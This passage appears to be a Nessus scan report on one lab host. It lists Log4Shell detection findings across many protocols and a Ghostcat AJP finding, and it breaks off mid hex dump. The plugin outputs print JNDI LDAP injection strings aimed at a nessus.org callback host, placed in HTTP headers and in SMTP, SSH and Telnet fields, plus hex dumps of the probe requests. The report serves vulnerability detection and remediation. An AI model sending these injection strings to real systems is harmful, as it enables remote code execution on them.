XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/23, Modified: 2024/03/19

Plugin Output

tcp/53/dns

```
Nessus was able to detect the vulnerability by sending a DNS query with a benign payload in it.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156115 - Apache Log4Shell RCE detection via callback correlation (Direct Check FTP)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/16, Modified: 2024/03/19

Plugin Output

tcp/21/ftp

```
Nessus was able to detect the vulnerability by sending FTP commands with a benign payload in it.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156115 - Apache Log4Shell RCE detection via callback correlation (Direct Check FTP)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/16, Modified: 2024/03/19

Plugin Output

tcp/2121/ftp

```
Nessus was able to detect the vulnerability by sending FTP commands with a benign payload in it.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156014 - Apache Log4Shell RCE detection via callback correlation (Direct Check HTTP)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/11, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Nessus was able to detect vulnerability by sending the following request

GET / HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/
nessus}
Connection: Keep-Alive
Referer: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}
X-Api-Version: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}
Cookie: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus};JSESSIONID=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus};SESSIONID=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus};PHPSESSID=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus};token=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus};session=
${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}
User-Agent: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}
Pragma: no-cache
If-Modified-Since: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/
nessus}
```

```
Accept: ${jndi:ldap://log4shell-generic-C2EQ15daM5AG6bW7O1oi${lower:ten}.w.nessus.org/nessus}
Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

156669 - Apache Log4Shell RCE detection via callback correlation (Direct Check MSRPC)

Synopsis

The remote MSRPC service allows remote command execution via Log4Shell.

Description

The remote host appears to be running MSRPC. MSRPC itself is not vulnerable to Log4Shell; however, the MSRPC server could potentially be affected if it attempts to log data via a vulnerable log4j library.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2022/01/12, Modified: 2024/03/26

Plugin Output

tcp/445/cifs

```
Nessus was able to detect the vulnerability by sending an DCE RPC pipe request with the following
 data:

0x0000:  00 00 02 00 A9 00 00 00 00 00 00 00 A9 00 00 00    ................
0x0010:  5C 00 5C 00 24 00 00 00 7B 00 00 00 6A 00 00 00    \.\.$...{...j...
0x0020:  6E 00 00 00 64 00 00 00 69 00 00 00 3A 00 00 00    n...d...i...:...
0x0030:  6C 00 00 00 64 00 00 00 61 00 00 00 70 00 00 00    l...d...a...p...
0x0040:  3A 00 00 00 2F 00 00 00 2F 00 00 00 6C 00 00 00    :.../.../...l...
0x0050:  6F 00 00 00 67 00 00 00 34 00 00 00 73 00 00 00    o...g...4...s...
0x0060:  68 00 00 00 65 00 00 00 6C 00 00 00 6C 00 00 00    h...e...l...l...
0x0070:  2D 00 00 00 6D 00 00 00 73 00 00 00 72 00 00 00    -...m...s...r...
0x0080:  70 00 00 00 63 00 00 00 2D 00 00 00 47 00 00 00    p...c...-...G...
0x0090:  43 00 00 00 39 00 00 00 72 00 00 00 70 00 00 00    C...9...r...p...
0x00A0:  51 00 00 00 41 00 00 00 5A 00 00 00 6B 00 00 00    Q...A...Z...k...
0x00B0:  49 00 00 00 51 00 00 00 34 00 00 00 59 00 00 00    I...Q...4...Y...
0x00C0:  65 00 00 00 32 00 00 00 51 00 00 00 74 00 00 00    e...2...Q...t...
0x00D0:  56 00 00 00 6D 00 00 00 69 00 00 00 24 00 00 00    V...m...i...$...
0x00E0:  7B 00 00 00 6C 00 00 00 6F 00 00 00 77 00 00 00    {...l...o...w...
0x00F0:  65 00 00 00 72 00 00 00 3A 00 00 00 74 00 00 00    e...r...:...t...
0x0100:  65 00 00 00 6E 00 00 00 7D 00 00 00 2E 00 00 00    e...n...}.......
0x0110:  77 00 00 00 2E 00 00 00 6E 00 00 00 65 00 00 00    w.......n...e...
0x0120:  73 00 00 00 73 00 00 00 75 00 00 00 73 00 00 00    s...s...u...s...
0x0130:  2E 00 00 00 6F 00 00 00 72 00 00 00 67 00 00 00    ....o...r...g...
0x0140:  2F 00 00 00 6E 00 00 00 65 00 00 00 73 00 00 00    /...n...e...s...
0x0150:  73 00 00 00 75 00 00 00 73 00 00 00 7D 00 00 00    s...u...s...}...
0x0160:  00 00 00 00                                        ....
```

```
Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

156197 - Apache Log4Shell RCE detection via callback correlation (Direct Check NetBIOS)

Synopsis

The remote service is affected by remote command execution via Log4Shell.

Description

By sending a special NetBIOS query, the server could potentially be affected remote code execution vulnerability.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/20, Modified: 2024/03/26

Plugin Output

tcp/139/smb

```
Nessus was able to detect vulnerability by sending the following netbios command

${jndi:ldap://log4shell-netbios-dvM7atmazPrNDd72gg4e${lower:ten}.w.nessus.org/nessus}

Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

156559 - Apache Log4Shell RCE detection via callback correlation (Direct Check RPCBIND)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:0001-A-0650
XREF	IAVA:2021-A-0573
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2022/01/07, Modified: 2024/03/19

Plugin Output

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in authentication fields in TCP RPCBIND version 2, procedure 4.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for TCP RPCBIND version 2, procedure 0.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for TCP RPCBIND version 2, procedure 3.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for TCP RPCBIND version 2, procedure 4.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for TCP RPCBIND version 2, procedure 5.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156559 - Apache Log4Shell RCE detection via callback correlation (Direct Check RPCBIND)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:0001-A-0650
XREF	IAVA:2021-A-0573
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2022/01/07, Modified: 2024/03/19

Plugin Output

udp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in authentication fields in UDP RPCBIND version 2, procedure 4.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

udp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for UDP RPCBIND version 2, procedure 0.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

udp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for UDP RPCBIND version 2, procedure 3.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

udp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for UDP RPCBIND version 2, procedure 4.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

udp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending an RPCBIND packet with a benign payload in
 it.

Nessus injected the payload in parameter(s) for UDP RPCBIND version 2, procedure 5.

Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156232 - Apache Log4Shell RCE detection via callback correlation (Direct Check SMB)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/21, Modified: 2024/03/26

Plugin Output

tcp/445/cifs

```
Nessus was able to detect the vulnerability by sending an SMB command with a benign payload in it.
Nessus injected the payload in the SMB login and domain names as well as in the SMB dialect list.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

tcp/445/cifs

```
Nessus was able to detect the vulnerability by sending an SMB command with a benign payload in it.
Nessus injected the payload in the SMB share name.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

156132 - Apache Log4Shell RCE detection via callback correlation (Direct Check SMTP)

Synopsis

The remote mail server allows remote command execution via Log4Shell.

Description

The remote host appears to be running an SMTP server. SMTP itself is not vulnerable to Log4Shell; however, the SMTP server could potentially be affected if it attempts to log data via a vulnerable log4j library.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/17, Modified: 2024/03/19

Plugin Output

tcp/25/smtp

```
Nessus was able to detect the vulnerability by sending the following command:

MAIL FROM: < ${jndi:ldap://log4shell-smtp-XU4AwyasFdqjMshATCeW${lower:ten}.w.nessus.org/nessus}>

Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

156166 - Apache Log4Shell RCE detection via callback correlation (Direct Check SSH)

Synopsis

The remote SSH service allows remote command execution via Log4Shell.

Description

The remote host appears to be running SSH. SSH itself is not vulnerable to Log4Shell; however, the SSH server could potentially be affected if it attempts to log data via a vulnerable log4j library.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/17, Modified: 2024/03/19

Plugin Output

tcp/22/ssh

```
Nessus was able to detect the vulnerability by trying to inject in various SSH protocol fields,
 as well as attempting to log in as user:${jndi:ldap://log4shell-ssh-fIZzkInM4CsN4OQZtMKf
${lower:ten}.w.nessus.org/nessus}, password:${jndi:ldap://log4shell-ssh-fIZzkInM4CsN4OQZtMKf
${lower:ten}.w.nessus.org/nessus}

Nessus detected that the target host then performed a DNS lookup on an LDAP host.
```

156162 - Apache Log4Shell RCE detection via callback correlation (Direct Check Telnet)

Synopsis

The version of Apache Log4j used on the remote system is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a crafted telnet message to execute arbitrary code with the permission level of the running Java process.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/17, Modified: 2024/03/19

Plugin Output

tcp/23

```
Nessus was able to detect vulnerability by sending the CMD_DONT telnet command
along with the below payload in the data section.

${jndi:ldap://log4shell-telnet-yZq43bHtRar8weVtxOlw${lower:ten}.w.nessus.org/nessus}
Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

Synopsis

There is a vulnerable AJP connector listening on the remote host.

Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

See Also

http://www.nessus.org/u?8ebe6246

http://www.nessus.org/u?4e287adb

http://www.nessus.org/u?cbc3d54e

https://access.redhat.com/security/cve/CVE-2020-1745

https://access.redhat.com/solutions/4851251

http://www.nessus.org/u?dd218234

http://www.nessus.org/u?dd772531

http://www.nessus.org/u?2a01d6bf

http://www.nessus.org/u?3b5af27e

http://www.nessus.org/u?9dab109f

http://www.nessus.org/u?5eafcf70

Solution

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.0

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2020-1745
CVE	CVE-2020-1938
XREF	CISA-KNOWN-EXPLOITED:2022/03/17
XREF	CEA-ID:CEA-2020-0021

Plugin Information

Published: 2020/03/24, Modified: 2024/03/19

Plugin Output

tcp/8009/ajp13

```
Nessus was able to exploit the issue using the following request :

0x0000:  02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F    ....HTTP/1.1.../
0x0010:  61 73 64 66 2F 78 78 78 78 78 2E 6A 73 70 00 00    asdf/xxxxx.jsp..
0x0020:  09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C    .localhost.....l
0x0030:  6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06    ocalhost..P.....
0x0040:  00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41    ..keep-alive...A
0x0050:  63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00    ccept-Language..
0x0060:  0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00    .en-US,en;q=0.5.
0x0070:  A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 45    ....0...Accept-E
0x0080:  6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20    ncoding...gzip,
0x0090:  64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D    deflate, sdch...
0x00A0:  43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09    Cache-Control...
0x00B0:  6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F    max-age=0.....Mo
0x00C0:  7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D    zilla...Upgrade-
0x00D0:  49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74    Insecure-Request
0x00E0:  73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68    s...1.....text/h
